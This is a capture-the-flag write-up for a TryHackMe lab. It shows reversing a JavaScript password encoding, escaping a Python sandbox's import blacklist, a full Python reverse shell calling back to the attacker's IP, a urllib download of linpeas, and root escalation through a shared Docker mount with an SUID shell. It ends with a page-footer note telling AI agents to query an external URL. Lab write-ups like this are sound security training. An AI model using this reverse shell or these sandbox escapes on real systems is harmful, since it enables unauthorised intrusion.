# Python Playground

{% embed url="<https://tryhackme.com/room/pythonplayground>" %}

### Reconnaisance

First, we run an `nmap` scan of the machine:

<figure><img src="/files/caCf6ZjDaxtFgpt43Htj" alt=""><figcaption></figcaption></figure>

Only 2 ports are open, a HTTP website running `node.js` and an SSH server.

### Exploring the web server

There's a small message in the `index.html` , talking about a blacklist. There are two links:

<figure><img src="/files/vWcjI5HFHFS8f2G3Llik" alt=""><figcaption></figcaption></figure>

First, we look at the two links; the `login.html` and `register.html`.\
Both of them lead to the same message:

<figure><img src="/files/Dp2cmyIvYS362nyOahff" alt=""><figcaption><p>message in login.html and register.html</p></figcaption></figure>

So the webpages just lead to a dead end.

When we get stuck, one of the best options is running a `gobuster` scan:

<figure><img src="/files/tbBWPoqR9sHcr6ZhQ3hy" alt=""><figcaption></figcaption></figure>

The scan has revealed a hidden page, `admin.html`. Let's see what's in there:

![](/files/lxT5IAYDqmCDkiRyT3dK)

This webpage looks custom-made, opening the door for a lot of exploits. Let's check the source code:

<figure><img src="/files/W1BEacS5DU1zsETyY8Sx" alt=""><figcaption></figcaption></figure>

Connor has a plaintext username (`connor`), and an encoded password.\
The password is encoded using two custom functions; `int_array_to_text()` and `string_to_int_array()`. This is very insecure, so we will reverse-engineer the functions.

#### Function 1: string\_to\_int\_array()&#x20;

For Javascript reverse engineering, we use a small online editor like jsfiddle.net.\
First, we look at the original code:

```
 function string_to_int_array(str) {
   const intArr = [];
   for (let i = 0; i < str.length; i++) {
     const charcode = str.charCodeAt(i);
     const partA = Math.floor(charcode / 26);
     const partB = charcode % 26;
     intArr.push(partA);
     intArr.push(partB);
   }
   return intArr;
 }

```

The code takes a string, and runs in a loop over each character.\
For every character in the loop, it returns 2 numbers.\
For the first number (`partA`), it will divide the `charcode` of the number by 26, and round it down.\
For the second number (`partB`), it will get the remainder of the previous operation.<br>

To reverse engineer this, we need to get `partA` and `partB`, add them up and multiply them by 26. The code will look something like this:<br>

```
function int_array_to_string(params){
    tempArr = [];
    for(let i=0;i<params.length;i+=2){
        let x = (params[i] * 26) + params[(i+1)];
            tempArr.push(x);
    }
    let finalString = "";
    for(let i=0;i<tempArr.length;i++){
    	finalString += String.fromCharCode(tempArr[i]);
    }
    return finalString;
}
```

#### Function 2: in\_array\_to\_text()

```
function int_array_to_text(int_array){
        let txt = '';
        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }
        return txt;
}
```

First, this function takes an integer array, and adds 97 to the integer. \
Second, it transforms the integer to a character using the Character codes, and outputs the string.

So we need to loop over the characters in the string, transform them to integers using the Character codes, then subtract 97. The reverse-engineered function looks like this:

```
function text_to_int_array(string){
		let arr = [];
    for(let i = 0;i<string.length;i++){
    	arr.push(string.charCodeAt(i) - 97);
    }
    return arr;
}
```

#### Getting the original password

The encoded string was encoded using:

```
 const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));
```

So we will decode it using:

```
console.log(int_array_to_string(text_to_int_array(int_array_to_string(text_to_int_array(encoded)))))
```

The password we found is `spaghetti1245` .&#x20;

### Getting a reverse shell

\
After logging in, we are taken to a python page:<br>

<figure><img src="/files/DAQn7eplSCiVpitUZ4HL" alt=""><figcaption></figcaption></figure>

There is a solid blacklist in place, preventing you from importing the normal way:

<figure><img src="/files/Dhjn5d5R7kwh7jBW5vTg" alt=""><figcaption></figcaption></figure>

\
This doesn't mean it's impossible to import though, because there are a few different ways of importing.\
The method I used was&#x20;

```
mod = 'os'
locals()['my_module'] = __import__(mod)
```

This bypasses the `import` restriction, but there is one more; The filter also blocks any `os.system()` commands.<br>

Before we run any reverse shells, we need to set up a listener. We will just use a simple `netcat` listener:

![](/files/fPefG6IM9zb6mew0HzBD)

Just as with the other restriction, there is a way to bypass it:

<figure><img src="/files/1ZkRk24mdw5Z5DnYtsXh" alt=""><figcaption></figcaption></figure>

<details>

<summary>Full exploit code</summary>

```
globals()['os'] = __import__('os')
globals()['sys'] = __import__('sys')
globals()['subprocess'] = __import__('subprocess')
globals()['socket'] = __import__('socket')
globals()['threading'] = __import__('threading')

def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("YOUR_IP",4444))

p=subprocess.Popen(["/bin/bash"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()
```

</details>

{% hint style="info" %}
Make sure to replace the "IP\_ADDRESS" with your TryHackMe VPN IP address.
{% endhint %}

And we get a connection back:

![](/files/3E23RArSEaQ6IVoB5yBW)

First, we stabilize the shell:

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Control - Z
stty raw -echo
fg
# Enter
stty rows 238 cols 52
export TERM=xterm
```

![](/files/cXKwshpaZSWvWCsPcIBd)\
The next step is to upload `linpeas.sh` to the target.\
First, we open a python3 webserver on the attacking machine:

<figure><img src="/files/evx1PCPY2iexYpI8tmal" alt=""><figcaption></figcaption></figure>

\
Because there's no `wget`, `curl`, `netcat`or `fetch` on the system, we use python3's `urllib` to make a request:

```
python3 -c "import urllib.request; urllib.request.urlretrieve('http://YOUR_IP:8000/linpeas.sh', 'linpeas.sh')"
```

&#x20;

<figure><img src="/files/hchQEMg6hXWHGLe8x5Sf" alt=""><figcaption></figcaption></figure>

Then, we run `linpeas.sh`:

<figure><img src="/files/uO3bsu6juEzlH9APvKch" alt=""><figcaption></figcaption></figure>

Under the "Interesting Files Mounted", there's a lot of entries, so lets take a closer look;&#x20;

<figure><img src="/files/YYmyesPWpHrQOhHvMXuS" alt=""><figcaption></figcaption></figure>

After looking closely, there is a `log` folder mounted to `/mnt`, with some pretty interesting files:

<figure><img src="/files/2KsrTR7ohatzRvhSsWmz" alt=""><figcaption></figcaption></figure>

This directory looks strikingly similar to a `/var/log` directory.

### Exploring the SSH server&#x20;

We have found the credentials for the webserver earlier, so chances are that Connor has reused his credentials.\
After using the credentials on the SSH port, we get in as user `connor`.

<figure><img src="/files/Qv3nI4oDnaFn8W8n84no" alt=""><figcaption></figcaption></figure>

The credentials worked

We can also find the second flag by running `ls` in the home directory:

![](/files/SVvwZV0g3ET47TKqBoCZ)

In the `docker` container, we saw a mounted system that looked like a `/var/log` directory, so let's check that first;\
These are the same files on the docker machine, in `/var/log`:

<figure><img src="/files/Tszz9YH1fsoWpU8jBoZU" alt=""><figcaption></figcaption></figure>

This means that the filesystems are linked through this directory.\
Because of this, we can upload/modfy files on one end, and it will show up on the other.\
This can be exploited by taking advantage of our `root` status on the docker container, where we can upload files as root. We can also give the file SUID permissions, giving us root on the main system.

### The final exploit

Going back the the `netcat` session on the `docker` container, we can place an SUID binary in the `/mnt/log` with the root credentials:&#x20;

<figure><img src="/files/afUBF85SpJIb80BeG7r2" alt=""><figcaption></figcaption></figure>

After running these commands, we see the file pop up at the SSH session:

<figure><img src="/files/Xvr02tz32WK8WL92lBa0" alt=""><figcaption></figcaption></figure>

By running `./sh -p` we spawn a shell with root permissions, and we have finished the box.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eduw.gitbook.io/writeups/python-playground.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
